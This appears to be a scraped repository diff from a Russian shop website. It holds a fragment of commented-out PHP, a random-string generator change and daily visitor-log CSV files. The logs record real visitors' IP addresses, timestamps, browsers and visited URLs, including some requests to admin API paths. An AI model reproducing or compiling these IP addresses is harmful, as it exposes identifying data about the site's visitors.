$keywords = $mod -> gen_keywords ($page[0]['txt']);
$smarty->assign('keys', $keywords);
$smarty->assign('comments', $mod -> comments);
//$smarty->assign('breadcrumb', $mod -> get_breadcrumb($page[0]['pages_cat']));
unset($tmp);
if ($page[0]['public']==0 && $_SESSION['dostup']!=='a')header( 'Location: /403/' );
//Получаем статьи этого пользователя
unset($b);
//echo $page[0]['avtor'];
$b['user_id']=$page[0]['user_id'];
$page_user=$db->get_massiv('pages', $b, 't', 20);
$smarty->assign('page_user', $page_user);
//загружаем список картинок
unset($c);
$db -> or_by_desc = '';
$c['page_id']=$page[0]['id'];
*/
?> ?>

View File

@ -0,0 +1,3 @@
80.80.108.36;1676434896;Chrome 10+;Windows;http://webspros.ru/chat.php?invite=pc&member=tk-ligat.ru&pg=21&check=ok;
46.165.16.184;1676480411;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/0;
46.165.16.184;1676480658;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/19003;
1 80.80.108.36 1676434896 Chrome 10+ Windows http://webspros.ru/chat.php?invite=pc&member=tk-ligat.ru&pg=21&check=ok
2 46.165.16.184 1676480411 Firefox 10+ Linux https://tk-ligat.ru/api/admin/0
3 46.165.16.184 1676480658 Firefox 10+ Linux https://tk-ligat.ru/api/admin/19003

View File

@ -0,0 +1,6 @@
95.161.239.129;1676505323;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/166;
46.165.49.31;1676521445;Firefox 10+;Windows;https://tk-ligat.ru/;
46.165.49.31;1676521451;Firefox 10+;Windows;https://tk-ligat.ru/login/;
178.46.117.27;1676533191;Chrome 10+;Windows;https://tk-ligat.ru/;
37.9.68.155;1676539860; ;Неизвестна;https://tk-ligat.ru/;
88.83.200.201;1676555167;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/0-1.html;
1 95.161.239.129 1676505323 Chrome 10+ Windows https://tk-ligat.ru/tovar_cat/166
2 46.165.49.31 1676521445 Firefox 10+ Windows https://tk-ligat.ru/
3 46.165.49.31 1676521451 Firefox 10+ Windows https://tk-ligat.ru/login/
4 178.46.117.27 1676533191 Chrome 10+ Windows https://tk-ligat.ru/
5 37.9.68.155 1676539860 Неизвестна https://tk-ligat.ru/
6 88.83.200.201 1676555167 Chrome 10+ Windows https://tk-ligat.ru/tovar_cat/0-1.html

View File

@ -0,0 +1,7 @@
46.165.16.184;1676652477;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/51-1.html;
46.165.16.184;1676652485;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/50-1.html;
46.165.16.184;1676652492;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/72-1.html;
46.165.16.184;1676652520;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/62-1.html;
46.165.16.184;1676652587;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/62-5.html;
46.165.16.184;1676652617;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/118-1.html;
46.165.16.184;1676653753;Chrome 10+;Linux;https://tk-ligat.ru/tovar_cat/118-1.html;
1 46.165.16.184 1676652477 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/51-1.html
2 46.165.16.184 1676652485 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/50-1.html
3 46.165.16.184 1676652492 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/72-1.html
4 46.165.16.184 1676652520 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/62-1.html
5 46.165.16.184 1676652587 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/62-5.html
6 46.165.16.184 1676652617 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/118-1.html
7 46.165.16.184 1676653753 Chrome 10+ Linux https://tk-ligat.ru/tovar_cat/118-1.html

View File

@ -0,0 +1 @@
95.29.230.108;1676735685;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/5680;
1 95.29.230.108 1676735685 Chrome 10+ Windows https://tk-ligat.ru/tovar_cat/5680

View File

@ -0,0 +1,7 @@
54.172.78.31;1676757091;Chrome 10+;Windows;https://tk-ligat.ru/;
176.210.30.156;1676791508;Chrome 10+;Windows;https://tk-ligat.ru/tovar_cat/270;
95.29.234.77;1676791523;Chrome 10+;Windows;https://tk-ligat.ru/;
2.60.64.158;1676817303;Chrome 10+;Windows;https://tk-ligat.ru/tovar_show/31868;
46.165.16.184;1676821294;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/8;
46.165.16.184;1676821295;Firefox 10+;Linux;https://tk-ligat.ru/api/admin/8;
46.165.16.184;1676822750;Firefox 10+;Linux;https://tk-ligat.ru/;
1 54.172.78.31 1676757091 Chrome 10+ Windows https://tk-ligat.ru/
2 176.210.30.156 1676791508 Chrome 10+ Windows https://tk-ligat.ru/tovar_cat/270
3 95.29.234.77 1676791523 Chrome 10+ Windows https://tk-ligat.ru/
4 2.60.64.158 1676817303 Chrome 10+ Windows https://tk-ligat.ru/tovar_show/31868
5 46.165.16.184 1676821294 Firefox 10+ Linux https://tk-ligat.ru/api/admin/8
6 46.165.16.184 1676821295 Firefox 10+ Linux https://tk-ligat.ru/api/admin/8
7 46.165.16.184 1676822750 Firefox 10+ Linux https://tk-ligat.ru/

View File

@ -1 +1 @@
1675923493 1676533192
1 1675923493 1676533192

View File

@ -1,178 +1,188 @@
1675371600;11;2;3; 1675371600;11;2;;03.02.2023.csv;
1673298000;10;1;3; 1673298000;10;1;;10.01.2023.csv;
1675803600;17;3;1; 1676149200;2;2;;12.02.2023.csv;
1657832400;2;2;2; 1675803600;17;3;;08.02.2023.csv;
1662411600;1;1;1; 1676062800;2;2;;11.02.2023.csv;
1673643600;50;3;3; 1657832400;2;2;;15.07.2022.csv;
1664571600;2;2;2; 1662411600;1;1;;06.09.2022.csv;
1660338000;1;1;1; 1673643600;50;3;;14.01.2023.csv;
1674421200;2;1;1; 1664571600;2;2;;01.10.2022.csv;
1674334800;42;1;1; 1660338000;1;1;;13.08.2022.csv;
1662584400;2;2;2; 1674421200;2;1;;23.01.2023.csv;
1671570000;43;4;3; 1674334800;42;1;;22.01.2023.csv;
1666386000;13;2;2; 1662584400;2;2;;08.09.2022.csv;
1673211600;129;5;3; 1671570000;43;4;;21.12.2022.csv;
1665867600;3;2;2; 1666386000;13;2;;22.10.2022.csv;
1662498000;5;5;4; 1675976400;4;1;;10.02.2023.csv;
1661202000;5;3;3; 1673211600;129;5;;09.01.2023.csv;
1671310800;10;2;2; 1665867600;3;2;;16.10.2022.csv;
1670878800;7;3;3; 1662498000;5;5;;07.09.2022.csv;
1658350800;1;1;1; 1661202000;5;3;;23.08.2022.csv;
1662843600;7;2;3; 1671310800;10;2;;18.12.2022.csv;
1672952400;197;7;10; 1670878800;7;3;;13.12.2022.csv;
1666126800;5;2;2; 1658350800;1;1;;21.07.2022.csv;
1671051600;45;3;2; 1662843600;7;2;;11.09.2022.csv;
1660597200;14;2;2; 1672952400;197;7;;06.01.2023.csv;
1671915600;176;3;4; 1666126800;5;2;;19.10.2022.csv;
1674680400;11;5;3; 1671051600;45;3;;15.12.2022.csv;
1657314000;3;2;2; 1660597200;14;2;;16.08.2022.csv;
1671742800;2;1;1; 1671915600;176;3;;25.12.2022.csv;
1666818000;1;1;1; 1674680400;11;5;;26.01.2023.csv;
1661029200;18;3;3; 1657314000;3;2;;09.07.2022.csv;
1674766800;16;5;3; 1671742800;2;1;;23.12.2022.csv;
1660251600;1;1;1; 1666818000;1;1;;27.10.2022.csv;
1656277200;10;5;4; 1661029200;18;3;;21.08.2022.csv;
1674162000;6;5;3; 1676408400;3;2;;15.02.2023.csv;
1663621200;10;6;5; 1674766800;16;5;;27.01.2023.csv;
1675026000;6;6;1; 1660251600;1;1;;12.08.2022.csv;
1658091600;2;2;2; 1656277200;10;5;;27.06.2022.csv;
1671483600;67;3;2; 1674162000;6;5;;20.01.2023.csv;
1672434000;50;2;2; 1663621200;10;6;;20.09.2022.csv;
1656968400;15;4;4; 1675026000;6;6;;30.01.2023.csv;
1672088400;240;3;4; 1658091600;2;2;;18.07.2022.csv;
1673816400;33;1;1; 1671483600;67;3;;20.12.2022.csv;
1657400400;2;2;2; 1672434000;50;2;;31.12.2022.csv;
1673384400;66;3;3; 1676235600;13;3;;13.02.2023.csv;
1660078800;1;1;1; 1656968400;15;4;;05.07.2022.csv;
1660165200;2;2;2; 1672088400;240;3;;27.12.2022.csv;
1657141200;15;4;4; 1673816400;33;1;;16.01.2023.csv;
1673902800;11;4;4; 1657400400;2;2;;10.07.2022.csv;
1657746000;2;2;2; 1673384400;66;3;;11.01.2023.csv;
1671829200;45;4;3; 1660078800;1;1;;10.08.2022.csv;
1665954000;2;1;1; 1660165200;2;2;;11.08.2022.csv;
1674248400;15;6;3; 1657141200;15;4;;07.07.2022.csv;
1660510800;15;6;4; 1673902800;11;4;;17.01.2023.csv;
1661806800;4;4;4; 1657746000;2;2;;14.07.2022.csv;
1658005200;2;2;2; 1671829200;45;4;;24.12.2022 (conflicted copy 2022-12-24 194548).csv;
1659992400;1;1;1; 1665954000;2;1;;17.10.2022.csv;
1666299600;6;2;2; 1674248400;15;6;;21.01.2023.csv;
1672866000;74;5;6; 1660510800;15;6;;15.08.2022.csv;
1666645200;3;3;3; 1661806800;4;4;;30.08.2022.csv;
1661374800;6;3;4; 1658005200;2;2;;17.07.2022.csv;
1662066000;3;3;2; 1659992400;1;1;;09.08.2022.csv;
1656363600;9;4;4; 1666299600;6;2;;21.10.2022.csv;
1656622800;1;1;1; 1672866000;74;5;;05.01.2023.csv;
1663362000;1;1;1; 1666645200;3;3;;25.10.2022.csv;
1674939600;4;2;1; 1661374800;6;3;;25.08.2022.csv;
1672174800;177;3;5; 1662066000;3;3;;02.09.2022.csv;
1672261200;84;3;5; 1656363600;9;4;;28.06.2022.csv;
1664226000;3;1;1; 1656622800;1;1;;01.07.2022.csv;
1659301200;2;2;2; 1663362000;1;1;;17.09.2022.csv;
1667250000;1;1;1; 1674939600;4;2;;29.01.2023.csv;
1663880400;9;2;1; 1676494800;6;5;;16.02.2023.csv;
1659214800;1;1;1; 1672174800;177;3;;28.12.2022.csv;
1664744400;1;1;1; 1672261200;84;3;;29.12.2022.csv;
1659646800;2;2;2; 1664226000;3;1;;27.09.2022.csv;
1663707600;2;1;1; 1659301200;2;2;;01.08.2022.csv;
1657227600;3;3;3; 1667250000;1;1;;01.11.2022.csv;
1673989200;6;2;2; 1663880400;9;2;;23.09.2022.csv;
1661547600;2;2;2; 1659214800;1;1;;31.07.2022.csv;
1656795600;56;1;1; 1664744400;1;1;;03.10.2022.csv;
1659560400;1;1;1; 1659646800;2;2;;05.08.2022.csv;
1672002000;120;2;5; 1663707600;2;1;;21.09.2022.csv;
1665176400;6;1;1; 1657227600;3;3;;08.07.2022.csv;
1662152400;2;2;2; 1673989200;6;2;;18.01.2023.csv;
1671829200;9;4;3; 1661547600;2;2;;27.08.2022.csv;
1674075600;46;5;3; 1656795600;56;1;;03.07.2022.csv;
1661893200;1;1;1; 1659560400;1;1;;04.08.2022.csv;
1663189200;2;2;2; 1672002000;120;2;;26.12.2022.csv;
1656882000;2;2;2; 1665176400;6;1;;08.10.2022.csv;
1670965200;2;1;1; 1662152400;2;2;;03.09.2022.csv;
1672520400;228;2;3; 1671829200;9;4;;24.12.2022.csv;
1660424400;1;1;1; 1674075600;46;5;;19.01.2023.csv;
1658955600;1;1;1; 1661893200;1;1;;31.08.2022.csv;
1673125200;20;5;6; 1663189200;2;2;;15.09.2022.csv;
1659042000;1;1;1; 1656882000;2;2;;04.07.2022.csv;
1658610000;1;1;1; 1670965200;2;1;;14.12.2022.csv;
1662325200;2;2;2; 1672520400;228;2;;01.01.2023.csv;
1666472400;13;3;3; 1660424400;1;1;;14.08.2022.csv;
1658696400;1;1;1; 1658955600;1;1;;28.07.2022.csv;
1659387600;1;1;1; 1673125200;20;5;;08.01.2023.csv;
1675198800;5;2;2; 1659042000;1;1;;29.07.2022.csv;
1666904400;7;4;4; 1658610000;1;1;;24.07.2022.csv;
1657918800;1;1;1; 1662325200;2;2;;05.09.2022.csv;
1667336400;3;1;1; 1666472400;13;3;;23.10.2022.csv;
1656450000;2;2;2; 1658696400;1;1;;25.07.2022.csv;
1658782800;3;3;2; 1676667600;1;1;;18.02.2023.csv;
1672693200;147;4;8; 1659387600;1;1;;02.08.2022.csv;
1673557200;2;1;1; 1675198800;5;2;;01.02.2023.csv;
1663102800;1;1;1; 1675890000;70;5;;09.02.2023.csv;
1659474000;1;1;1; 1666904400;7;4;;28.10.2022.csv;
1660683600;15;4;4; 1657918800;1;1;;16.07.2022.csv;
1658178000;1;1;1; 1667336400;3;1;;02.11.2022.csv;
1656190800;7;1;1; 1656450000;2;2;;29.06.2022.csv;
1663534800;269;5;5; 1658782800;3;3;;26.07.2022.csv;
1660942800;1;1;1; 1672693200;147;4;;03.01.2023.csv;
1673470800;12;4;2; 1673557200;2;1;;13.01.2023.csv;
1665781200;16;13;5; 1663102800;1;1;;14.09.2022.csv;
1671656400;8;5;4; 1659474000;1;1;;03.08.2022.csv;
1661115600;1;1;1; 1660683600;15;4;;17.08.2022.csv;
1671397200;193;5;6; 1658178000;1;1;;19.07.2022.csv;
1664398800;1;1;1; 1656190800;7;1;;26.06.2022.csv;
1661461200;2;2;2; 1663534800;269;5;;19.09.2022.csv;
1657054800;7;4;3; 1660942800;1;1;;20.08.2022.csv;
1665262800;9;1;1; 1673470800;12;4;;12.01.2023.csv;
1657573200;1;1;1; 1665781200;16;13;;15.10.2022.csv;
1659906000;1;1;1; 1671656400;8;5;;22.12.2022.csv;
1673038800;61;1;5; 1661115600;1;1;;22.08.2022.csv;
1663016400;3;3;3; 1671397200;193;5;;19.12.2022.csv;
1665694800;2;2;2; 1664398800;1;1;;29.09.2022.csv;
1673730000;164;1;1; 1661461200;2;2;;26.08.2022.csv;
1665349200;3;2;2; 1657054800;7;4;;06.07.2022.csv;
1658523600;2;2;2; 1665262800;9;1;;09.10.2022.csv;
1666213200;3;1;1; 1657573200;1;1;;12.07.2022.csv;
1665608400;1;1;1; 1659906000;1;1;;08.08.2022.csv;
1667077200;6;2;2; 1673038800;61;1;;07.01.2023.csv;
1660770000;1;1;1; 1663016400;3;3;;13.09.2022.csv;
1662930000;7;4;4; 1665694800;2;2;;14.10.2022.csv;
1671224400;295;1;1; 1673730000;164;1;;15.01.2023.csv;
1659128400;1;1;1; 1665349200;3;2;;10.10.2022.csv;
1675112400;12;2;2; 1658523600;2;2;;23.07.2022.csv;
1663275600;3;3;3; 1666213200;3;1;;20.10.2022.csv;
1661979600;1;1;1; 1665608400;1;1;;13.10.2022.csv;
1662238800;1;1;1; 1667077200;6;2;;30.10.2022.csv;
1667509200;1;1;1; 1660770000;1;1;;18.08.2022.csv;
1666731600;1;1;1; 1662930000;7;4;;12.09.2022.csv;
1662670800;1;1;1; 1671224400;295;1;;17.12.2022.csv;
1675458000;246;7;7; 1659128400;1;1;;30.07.2022.csv;
1661288400;5;3;2; 1675112400;12;2;;31.01.2023.csv;
1674853200;4;1;1; 1663275600;3;3;;16.09.2022.csv;
1661720400;2;1;1; 1661979600;1;1;;01.09.2022.csv;
1675285200;58;3;4; 1662238800;1;1;;04.09.2022.csv;
1659819600;3;3;2; 1667509200;1;1;;04.11.2022.csv;
1659733200;1;1;1; 1666731600;1;1;;26.10.2022.csv;
1671138000;15;4;3; 1662670800;1;1;;09.09.2022.csv;
1663448400;4;2;2; 1675458000;246;7;;04.02.2023.csv;
1675717200;5;1;2; 1661288400;5;3;;24.08.2022.csv;
1658869200;1;1;1; 1674853200;4;1;;28.01.2023.csv;
1666558800;2;1;1; 1661720400;2;1;;29.08.2022.csv;
1667422800;2;2;2; 1675285200;58;3;;02.02.2023.csv;
1672606800;99;8;6; 1659819600;3;3;;07.08.2022.csv;
1672779600;450;6;6; 1659733200;1;1;;06.08.2022.csv;
1664053200;2;2;1; 1671138000;15;4;;16.12.2022.csv;
1665090000;24;3;3; 1663448400;4;2;;18.09.2022.csv;
1657659600;5;5;4; 1675717200;5;1;;07.02.2023.csv;
1664312400;6;3;3; 1658869200;1;1;;27.07.2022.csv;
1662757200;1;1;1; 1666558800;2;1;;24.10.2022.csv;
1665003600;1;1;1; 1667422800;2;2;;03.11.2022.csv;
1660856400;6;6;3; 1672606800;99;8;;02.01.2023.csv;
1675544400;132;5;3; 1672779600;450;6;;04.01.2023.csv;
1658437200;5;4;1; 1676581200;7;1;;17.02.2023.csv;
1656709200;21;3;3; 1664053200;2;2;;25.09.2022.csv;
1672347600;13;2;4; 1676754000;1;1;;19.02.2023.csv;
1675630800;48;4;5; 1665090000;24;3;;07.10.2022.csv;
1674594000;1;1;1; 1657659600;5;5;;13.07.2022.csv;
1656536400;2;2;2; 1664312400;6;3;;28.09.2022.csv;
1666040400;2;2;1; 1662757200;1;1;;10.09.2022.csv;
1657486800;3;3;3; 1665003600;1;1;;06.10.2022.csv;
1664139600;6;4;4; 1660856400;6;6;;19.08.2022.csv;
1675544400;132;5;;05.02.2023.csv;
1658437200;5;4;;22.07.2022.csv;
1656709200;21;3;;02.07.2022.csv;
1672347600;13;2;;30.12.2022.csv;
1675630800;48;4;;06.02.2023.csv;
1674594000;1;1;;25.01.2023.csv;
1656536400;2;2;;30.06.2022.csv;
1666040400;2;2;;18.10.2022.csv;
1657486800;3;3;;11.07.2022.csv;
1664139600;6;4;;26.09.2022.csv;

1 1675371600 11 2 3 03.02.2023.csv
2 1673298000 10 1 3 10.01.2023.csv
3 1675803600 1676149200 17 2 3 2 1 12.02.2023.csv
4 1657832400 1675803600 2 17 2 3 2 08.02.2023.csv
5 1662411600 1676062800 1 2 1 2 1 11.02.2023.csv
6 1673643600 1657832400 50 2 3 2 3 15.07.2022.csv
7 1664571600 1662411600 2 1 2 1 2 06.09.2022.csv
8 1660338000 1673643600 1 50 1 3 1 14.01.2023.csv
9 1674421200 1664571600 2 1 2 1 01.10.2022.csv
10 1674334800 1660338000 42 1 1 1 13.08.2022.csv
11 1662584400 1674421200 2 2 1 2 23.01.2023.csv
12 1671570000 1674334800 43 42 4 1 3 22.01.2023.csv
13 1666386000 1662584400 13 2 2 2 08.09.2022.csv
14 1673211600 1671570000 129 43 5 4 3 21.12.2022.csv
15 1665867600 1666386000 3 13 2 2 22.10.2022.csv
16 1662498000 1675976400 5 4 5 1 4 10.02.2023.csv
17 1661202000 1673211600 5 129 3 5 3 09.01.2023.csv
18 1671310800 1665867600 10 3 2 2 16.10.2022.csv
19 1670878800 1662498000 7 5 3 5 3 07.09.2022.csv
20 1658350800 1661202000 1 5 1 3 1 23.08.2022.csv
21 1662843600 1671310800 7 10 2 3 18.12.2022.csv
22 1672952400 1670878800 197 7 7 3 10 13.12.2022.csv
23 1666126800 1658350800 5 1 2 1 2 21.07.2022.csv
24 1671051600 1662843600 45 7 3 2 2 11.09.2022.csv
25 1660597200 1672952400 14 197 2 7 2 06.01.2023.csv
26 1671915600 1666126800 176 5 3 2 4 19.10.2022.csv
27 1674680400 1671051600 11 45 5 3 3 15.12.2022.csv
28 1657314000 1660597200 3 14 2 2 16.08.2022.csv
29 1671742800 1671915600 2 176 1 3 1 25.12.2022.csv
30 1666818000 1674680400 1 11 1 5 1 26.01.2023.csv
31 1661029200 1657314000 18 3 3 2 3 09.07.2022.csv
32 1674766800 1671742800 16 2 5 1 3 23.12.2022.csv
33 1660251600 1666818000 1 1 1 27.10.2022.csv
34 1656277200 1661029200 10 18 5 3 4 21.08.2022.csv
35 1674162000 1676408400 6 3 5 2 3 15.02.2023.csv
36 1663621200 1674766800 10 16 6 5 5 27.01.2023.csv
37 1675026000 1660251600 6 1 6 1 1 12.08.2022.csv
38 1658091600 1656277200 2 10 2 5 2 27.06.2022.csv
39 1671483600 1674162000 67 6 3 5 2 20.01.2023.csv
40 1672434000 1663621200 50 10 2 6 2 20.09.2022.csv
41 1656968400 1675026000 15 6 4 6 4 30.01.2023.csv
42 1672088400 1658091600 240 2 3 2 4 18.07.2022.csv
43 1673816400 1671483600 33 67 1 3 1 20.12.2022.csv
44 1657400400 1672434000 2 50 2 2 31.12.2022.csv
45 1673384400 1676235600 66 13 3 3 13.02.2023.csv
46 1660078800 1656968400 1 15 1 4 1 05.07.2022.csv
47 1660165200 1672088400 2 240 2 3 2 27.12.2022.csv
48 1657141200 1673816400 15 33 4 1 4 16.01.2023.csv
49 1673902800 1657400400 11 2 4 2 4 10.07.2022.csv
50 1657746000 1673384400 2 66 2 3 2 11.01.2023.csv
51 1671829200 1660078800 45 1 4 1 3 10.08.2022.csv
52 1665954000 1660165200 2 1 2 1 11.08.2022.csv
53 1674248400 1657141200 15 6 4 3 07.07.2022.csv
54 1660510800 1673902800 15 11 6 4 4 17.01.2023.csv
55 1661806800 1657746000 4 2 4 2 4 14.07.2022.csv
56 1658005200 1671829200 2 45 2 4 2 24.12.2022 (conflicted copy 2022-12-24 194548).csv
57 1659992400 1665954000 1 2 1 1 17.10.2022.csv
58 1666299600 1674248400 6 15 2 6 2 21.01.2023.csv
59 1672866000 1660510800 74 15 5 6 6 15.08.2022.csv
60 1666645200 1661806800 3 4 3 4 3 30.08.2022.csv
61 1661374800 1658005200 6 2 3 2 4 17.07.2022.csv
62 1662066000 1659992400 3 1 3 1 2 09.08.2022.csv
63 1656363600 1666299600 9 6 4 2 4 21.10.2022.csv
64 1656622800 1672866000 1 74 1 5 1 05.01.2023.csv
65 1663362000 1666645200 1 3 1 3 1 25.10.2022.csv
66 1674939600 1661374800 4 6 2 3 1 25.08.2022.csv
67 1672174800 1662066000 177 3 3 5 02.09.2022.csv
68 1672261200 1656363600 84 9 3 4 5 28.06.2022.csv
69 1664226000 1656622800 3 1 1 1 01.07.2022.csv
70 1659301200 1663362000 2 1 2 1 2 17.09.2022.csv
71 1667250000 1674939600 1 4 1 2 1 29.01.2023.csv
72 1663880400 1676494800 9 6 2 5 1 16.02.2023.csv
73 1659214800 1672174800 1 177 1 3 1 28.12.2022.csv
74 1664744400 1672261200 1 84 1 3 1 29.12.2022.csv
75 1659646800 1664226000 2 3 2 1 2 27.09.2022.csv
76 1663707600 1659301200 2 1 2 1 01.08.2022.csv
77 1657227600 1667250000 3 1 3 1 3 01.11.2022.csv
78 1673989200 1663880400 6 9 2 2 23.09.2022.csv
79 1661547600 1659214800 2 1 2 1 2 31.07.2022.csv
80 1656795600 1664744400 56 1 1 1 03.10.2022.csv
81 1659560400 1659646800 1 2 1 2 1 05.08.2022.csv
82 1672002000 1663707600 120 2 2 1 5 21.09.2022.csv
83 1665176400 1657227600 6 3 1 3 1 08.07.2022.csv
84 1662152400 1673989200 2 6 2 2 18.01.2023.csv
85 1671829200 1661547600 9 2 4 2 3 27.08.2022.csv
86 1674075600 1656795600 46 56 5 1 3 03.07.2022.csv
87 1661893200 1659560400 1 1 1 04.08.2022.csv
88 1663189200 1672002000 2 120 2 2 26.12.2022.csv
89 1656882000 1665176400 2 6 2 1 2 08.10.2022.csv
90 1670965200 1662152400 2 1 2 1 03.09.2022.csv
91 1672520400 1671829200 228 9 2 4 3 24.12.2022.csv
92 1660424400 1674075600 1 46 1 5 1 19.01.2023.csv
93 1658955600 1661893200 1 1 1 31.08.2022.csv
94 1673125200 1663189200 20 2 5 2 6 15.09.2022.csv
95 1659042000 1656882000 1 2 1 2 1 04.07.2022.csv
96 1658610000 1670965200 1 2 1 1 14.12.2022.csv
97 1662325200 1672520400 2 228 2 2 01.01.2023.csv
98 1666472400 1660424400 13 1 3 1 3 14.08.2022.csv
99 1658696400 1658955600 1 1 1 28.07.2022.csv
100 1659387600 1673125200 1 20 1 5 1 08.01.2023.csv
101 1675198800 1659042000 5 1 2 1 2 29.07.2022.csv
102 1666904400 1658610000 7 1 4 1 4 24.07.2022.csv
103 1657918800 1662325200 1 2 1 2 1 05.09.2022.csv
104 1667336400 1666472400 3 13 1 3 1 23.10.2022.csv
105 1656450000 1658696400 2 1 2 1 2 25.07.2022.csv
106 1658782800 1676667600 3 1 3 1 2 18.02.2023.csv
107 1672693200 1659387600 147 1 4 1 8 02.08.2022.csv
108 1673557200 1675198800 2 5 1 2 1 01.02.2023.csv
109 1663102800 1675890000 1 70 1 5 1 09.02.2023.csv
110 1659474000 1666904400 1 7 1 4 1 28.10.2022.csv
111 1660683600 1657918800 15 1 4 1 4 16.07.2022.csv
112 1658178000 1667336400 1 3 1 1 02.11.2022.csv
113 1656190800 1656450000 7 2 1 2 1 29.06.2022.csv
114 1663534800 1658782800 269 3 5 3 5 26.07.2022.csv
115 1660942800 1672693200 1 147 1 4 1 03.01.2023.csv
116 1673470800 1673557200 12 2 4 1 2 13.01.2023.csv
117 1665781200 1663102800 16 1 13 1 5 14.09.2022.csv
118 1671656400 1659474000 8 1 5 1 4 03.08.2022.csv
119 1661115600 1660683600 1 15 1 4 1 17.08.2022.csv
120 1671397200 1658178000 193 1 5 1 6 19.07.2022.csv
121 1664398800 1656190800 1 7 1 1 26.06.2022.csv
122 1661461200 1663534800 2 269 2 5 2 19.09.2022.csv
123 1657054800 1660942800 7 1 4 1 3 20.08.2022.csv
124 1665262800 1673470800 9 12 1 4 1 12.01.2023.csv
125 1657573200 1665781200 1 16 1 13 1 15.10.2022.csv
126 1659906000 1671656400 1 8 1 5 1 22.12.2022.csv
127 1673038800 1661115600 61 1 1 5 22.08.2022.csv
128 1663016400 1671397200 3 193 3 5 3 19.12.2022.csv
129 1665694800 1664398800 2 1 2 1 2 29.09.2022.csv
130 1673730000 1661461200 164 2 1 2 1 26.08.2022.csv
131 1665349200 1657054800 3 7 2 4 2 06.07.2022.csv
132 1658523600 1665262800 2 9 2 1 2 09.10.2022.csv
133 1666213200 1657573200 3 1 1 1 12.07.2022.csv
134 1665608400 1659906000 1 1 1 08.08.2022.csv
135 1667077200 1673038800 6 61 2 1 2 07.01.2023.csv
136 1660770000 1663016400 1 3 1 3 1 13.09.2022.csv
137 1662930000 1665694800 7 2 4 2 4 14.10.2022.csv
138 1671224400 1673730000 295 164 1 1 15.01.2023.csv
139 1659128400 1665349200 1 3 1 2 1 10.10.2022.csv
140 1675112400 1658523600 12 2 2 2 23.07.2022.csv
141 1663275600 1666213200 3 3 1 3 20.10.2022.csv
142 1661979600 1665608400 1 1 1 13.10.2022.csv
143 1662238800 1667077200 1 6 1 2 1 30.10.2022.csv
144 1667509200 1660770000 1 1 1 18.08.2022.csv
145 1666731600 1662930000 1 7 1 4 1 12.09.2022.csv
146 1662670800 1671224400 1 295 1 1 17.12.2022.csv
147 1675458000 1659128400 246 1 7 1 7 30.07.2022.csv
148 1661288400 1675112400 5 12 3 2 2 31.01.2023.csv
149 1674853200 1663275600 4 3 1 3 1 16.09.2022.csv
150 1661720400 1661979600 2 1 1 1 01.09.2022.csv
151 1675285200 1662238800 58 1 3 1 4 04.09.2022.csv
152 1659819600 1667509200 3 1 3 1 2 04.11.2022.csv
153 1659733200 1666731600 1 1 1 26.10.2022.csv
154 1671138000 1662670800 15 1 4 1 3 09.09.2022.csv
155 1663448400 1675458000 4 246 2 7 2 04.02.2023.csv
156 1675717200 1661288400 5 1 3 2 24.08.2022.csv
157 1658869200 1674853200 1 4 1 1 28.01.2023.csv
158 1666558800 1661720400 2 1 1 29.08.2022.csv
159 1667422800 1675285200 2 58 2 3 2 02.02.2023.csv
160 1672606800 1659819600 99 3 8 3 6 07.08.2022.csv
161 1672779600 1659733200 450 1 6 1 6 06.08.2022.csv
162 1664053200 1671138000 2 15 2 4 1 16.12.2022.csv
163 1665090000 1663448400 24 4 3 2 3 18.09.2022.csv
164 1657659600 1675717200 5 5 1 4 07.02.2023.csv
165 1664312400 1658869200 6 1 3 1 3 27.07.2022.csv
166 1662757200 1666558800 1 2 1 1 24.10.2022.csv
167 1665003600 1667422800 1 2 1 2 1 03.11.2022.csv
168 1660856400 1672606800 6 99 6 8 3 02.01.2023.csv
169 1675544400 1672779600 132 450 5 6 3 04.01.2023.csv
170 1658437200 1676581200 5 7 4 1 1 17.02.2023.csv
171 1656709200 1664053200 21 2 3 2 3 25.09.2022.csv
172 1672347600 1676754000 13 1 2 1 4 19.02.2023.csv
173 1675630800 1665090000 48 24 4 3 5 07.10.2022.csv
174 1674594000 1657659600 1 5 1 5 1 13.07.2022.csv
175 1656536400 1664312400 2 6 2 3 2 28.09.2022.csv
176 1666040400 1662757200 2 1 2 1 1 10.09.2022.csv
177 1657486800 1665003600 3 1 3 1 3 06.10.2022.csv
178 1664139600 1660856400 6 4 6 4 19.08.2022.csv
179 1675544400 132 5 05.02.2023.csv
180 1658437200 5 4 22.07.2022.csv
181 1656709200 21 3 02.07.2022.csv
182 1672347600 13 2 30.12.2022.csv
183 1675630800 48 4 06.02.2023.csv
184 1674594000 1 1 25.01.2023.csv
185 1656536400 2 2 30.06.2022.csv
186 1666040400 2 2 18.10.2022.csv
187 1657486800 3 3 11.07.2022.csv
188 1664139600 6 4 26.09.2022.csv

View File

@ -15,10 +15,10 @@ function gen_random($minlen, $maxlen){
//делаем случайную длину //делаем случайную длину
$len=rand($minlen, $maxlen); $len=rand($minlen, $maxlen);
$arr = array( $arr = array(
//'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', //'!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '{', '}', '[', ']', '+', '?','|',
